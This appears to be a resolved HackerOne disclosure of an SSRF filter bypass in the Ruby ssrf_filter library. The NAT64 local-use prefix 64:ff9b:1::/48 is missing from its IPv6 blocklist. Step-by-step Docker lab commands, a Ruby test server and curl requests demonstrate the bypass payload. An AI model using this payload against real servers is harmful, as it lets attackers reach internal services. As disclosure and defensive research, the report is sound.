SSRF Filter Bypass via Unblocked NAT64 Local-Use IPv6 Prefix (64:ff9b:1::/48)
High
Vulnerability Details
## Summary:
`ssrf_filter` v1.3.0 blocks `64:ff9b::/96`, but doesnt block the NAT64 local-use prefix `64:ff9b:1::/48`, allowing those addresses to be treated as public. This enables SSRF requests through `/fetch` to internal-equivalent targets encoded under that prefix when routable in the deployment environment.
## Steps To Reproduce:
1. Like previous report, start our lab first :) (I'm using the library in Docker)
2. Start a second app container with `NET_ADMIN` so we can add a test IPv6 route/address.
```bash
TIPSEN:~:% NET=$(docker inspect ssrf_filter_lab --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
TIPSEN:~:% docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true
ssrf_filter_lab_netadmin
TIPSEN:~:% docker run -d --name ssrf_filter_lab_netadmin --network "$NET" --cap-add NET_ADMIN -p 4568:4567 bbp-ssrf-ssrf-app ruby app.rb
46929c09894e83249c8143c192a727f2583b116c2be0ce70e1528773fb3b388f
```
3. Install `iproute2` in that container and add NAT64 local-use address `64:ff9b:1::7f00:1` to loopback.
```bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo || true && ip -6 addr show dev lo'
...
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
inet6 64:ff9b:1::7f00:1/128 scope global
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host proto kernel_lo
valid_lft forever preferred_lft forever
```
4. Start a local HTTP service bound to that NAT64 local-use address.
```bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'cat > /tmp/vuln_server_nat64.rb << "RUBY"
require "socket"
server = TCPServer.new("64:ff9b:1::7f00:1", 18081)
loop do
sock = server.accept
begin
while (line = sock.gets)
break if line == "\r\n"
end
body = "NAT64_PREFIX_BYPASS_DEMO"
sock.write("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
ensure
sock.close rescue nil
end
end
RUBY
nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &'
```
5. Verify the service is reachable on that address from inside the same container.
```bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'ruby -rsocket -e "s=TCPSocket.new(\"64:ff9b:1::7f00:1\",18081); s.write(\"GET / HTTP/1.0\r\nHost: x\r\n\r\n\"); puts s.read; s.close"'
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 24
Connection: close
NAT64_PREFIX_BYPASS_DEMO
```
6. Control check: known blocked NAT64 well-known prefix.
```bash
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b::7f00:1]:18081'
{"status":"blocked","error":"SsrfFilter::PrivateIPAddress","message":"Hostname '64:ff9b::7f00:1' has no public ip addresses"}%
```
7. Bypass check: unblocked NAT64 local-use prefix.
```bash
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
{"status":"allowed","code":"200","headers":{"content-type":"text/plain","content-length":"24","connection":"close"},"body":"NAT64_PREFIX_BYPASS_DEMO"}%
```
## Supporting Material/References:
Gonna put the root cause here to make checking easier :)
1. https://github.com/arkadiyt/ssrf_filter/blob/main/lib/ssrf_filter/ssrf_filter.rb#L47-L59: `IPV6_BLACKLIST` includes `64:ff9b::/96` but doesn't include `64:ff9b:1::/48` (NAT64 local-use prefix), leaving that range unclassified as private/unsafe.
2. https://github.com/arkadiyt/ssrf_filter/blob/main/lib/ssrf_filter/ssrf_filter.rb#L139-L143: `unsafe_ip_address?` decides IPv6 safety only by membership in `IPV6_BLACKLIST`. Because `64:ff9b:1::/48` is missing, those addresses are treated as safe/public.
3. https://github.com/arkadiyt/ssrf_filter/blob/main/lib/ssrf_filter/ssrf_filter.rb#L126-L127: The resolver output is filtered with `unsafe_ip_address?` and unblocked NAT64 local-use addresses remain in `public_addresses`, so the private-IP guard is bypassed.
## Impact
An attacker can bypass SSRF protections and force server-side requests to restricted/internal destinations using `64:ff9b:1::/48` addresses. This may expose sensitive internal services or metadata and can enable additional internal network reconnaissance or pivoting.
Actions
View on HackerOneReport Stats
- Report ID: 3634400
- State: Closed
- Substate: resolved
- Upvotes: 6